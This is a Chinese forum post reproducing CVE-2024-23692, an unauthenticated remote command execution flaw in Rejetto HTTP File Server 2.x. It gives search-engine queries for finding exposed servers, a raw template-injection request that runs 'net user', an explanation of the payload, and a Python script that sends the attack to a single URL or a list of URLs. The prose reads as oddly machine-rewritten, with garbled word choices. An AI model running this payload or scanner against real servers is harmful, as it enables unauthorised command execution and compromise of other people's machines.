【弊端复现】Rejetto HTTP文件服务器——长途命令执行(CVE-2024-23692) ...

打印 上一主题 下一主题

主题 1031|帖子 1031|积分 3093

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
  
  

弊端描述

Rejetto HTTP文件服务器是一个轻量级的HTTP服务器软件,它允许用户在本地计算机上快速搭建一个文件共享服务。其 2.x系列 存在CVE-2024-23692长途命令执行弊端,攻击者可在无需登陆的环境下利用模板注入执行任意命令,从而控制服服务器。
弊端复现

1)信息收集
fofa:app="HFS"
hunter:app.name="HTTP File Server"

巧合是上帝默默操控世界的方式。

2)构造数据包
  1. GET /?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
  2. Host:ip
复制代码
代码表明:
  1. /?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}
复制代码
这个payload现实上是一个经过编码的命令,让我们更详细地分析其各个组成部门:

  • 编码前原始命令

    • 原始命令是这样的:cmd=net user &search=xxx%url:password
    • 这里cmd代表命令,net user是Windows系统中查看用户账户的命令。
    • &search=xxx%url:password部门是一个搜索条件。

  • URL编码

    • %0A是换行符\n的URL编码情势。
    • %25是百分号%的URL编码情势,所以%25xxx%25代表%xxx%。

  • 脚本或命令行工具语法

    • {.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}这部门是一个特定脚本或命令行工具的语法,用于执行命令并设置参数。
    • .exec是执行命令的标志。
    • {.?cmd.}是一个动态替换为现实命令的占位符。
    • timeout=15设置了命令执行的超时时间限定为15秒。
    • out=abc.指定了输出效果应该被写入到以abc为前缀的文件中,但具体文件扩展名未知。

  • 输出效果

    • RESULT:{.?n.}{.?n.}{.^abc.}这部门指定了输出效果的格式。
    • {.?n.}可能是用于输出变量或特定值的占位符。
    • {.^abc.}可能表示将输出追加到之前提到的以abc为前缀的文件中。

  • 分隔符

    • ====用作分隔符,以区分输出中的差别部门。

这个payload可能是用于在长途服务器或网络装备上执行命令,获取用户列表,并搜索包罗特定字符串的用户账户。

在回显中看到了用户名,命令被执行,弊端存在。
测试工具

poc
  1. #!/usr/bin/env python# -*- coding: utf-8 -*-import http.clientimport argparsefrom urllib.parse import urlparsefrom urllib3.exceptions import InsecureRequestWarningimport ssl# 界说赤色和重置终端输出格式的常量,用于高亮显示弊端提示RED = '\033[91m'RESET = '\033[0m'def check_vulnerability(url):    """    检查给定URL是否存在Rejetto HTTP File Server长途代码执行弊端(CVE-2024-23692)。        :param url: 待检查的URL字符串。    """    try:        # 忽略HTTPS证书验证错误,以进行弊端测试        # 忽略不安全的HTTPS哀求告诫        ssl._create_default_https_context = ssl._create_unverified_context        # 剖析URL以获取主机、方案和路径信息        # 剖析URL        parsed_url = urlparse(url)        host = parsed_url.netloc        scheme = parsed_url.scheme        path = parsed_url.path if parsed_url.path else '/'        # 构造利用弊端的攻击路径        # 构造完整的攻击URL路径        attack_path = path + "/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}
  2. "        # 根据URL的方案(HTTP或HTTPS)创建毗连对象        # 根据URL的协议类型,选择符合的毗连方式        if scheme == "https":            conn = http.client.HTTPSConnection(host, context=ssl._create_unverified_context())        else:            conn = http.client.HTTPConnection(host)        # 发送GET哀求到构造的攻击路径        # 发送哀求        conn.request("GET", attack_path)        response = conn.getresponse()        # 读取并解码响应数据        data = response.read().decode('utf-8')        # 检查响应状态码是否为200且数据中是否包罗'Administrator',以判定弊端是否存在        if response.status == 200 and 'Administrator' in data:            print(f"{RED}URL [{url}] 存在Rejetto HTTP File Server长途代码执行弊端(CVE-2024-23692){RESET}")        else:            print(f"URL [{url}] 不存在弊端")        # 关闭HTTP毗连        conn.close()    except Exception as e:        # 打印在检测过程中发生的任何异常        print(f"URL [{url}] 在检测过程中发生错误: {e}")def main():    """    步伐主入口,负责剖析命令行参数并调用弊端检测函数。    """    # 创建命令行参数剖析器    parser = argparse.ArgumentParser(description='检测目的地址是否存在Rejetto HTTP File Server长途代码执行弊端(CVE-2024-23692)')    parser.add_argument('-u', '--url', help='指定目的地址')    parser.add_argument('-f', '--file', help='指定包罗目的地址的文本文件')    # 剖析命令行参数    args = parser.parse_args()    # 如果指定了URL参数    if args.url:        # 确保URL以HTTP或HTTPS开头,否则添加HTTP        if not args.url.startswith("http://") and not args.url.startswith("https://"):            args.url = "http://" + args.url        # 调用弊端检测函数        check_vulnerability(args.url)    # 如果指定了文件参数    elif args.file:        # 读取文件中的每行作为URL,逐个检查        with open(args.file, 'r') as file:            urls = file.read().splitlines()            for url in urls:                # 确保URL以HTTP或HTTPS开头,否则添加HTTP                if not url.startswith("http://") and not url.startswith("https://"):                    url = "http://" + url                check_vulnerability(url)if __name__ == '__main__':    main()
复制代码
运行截图


多少事,从来急,天地转,光阴迫,一万年太久,只争旦夕。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

王海鱼

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表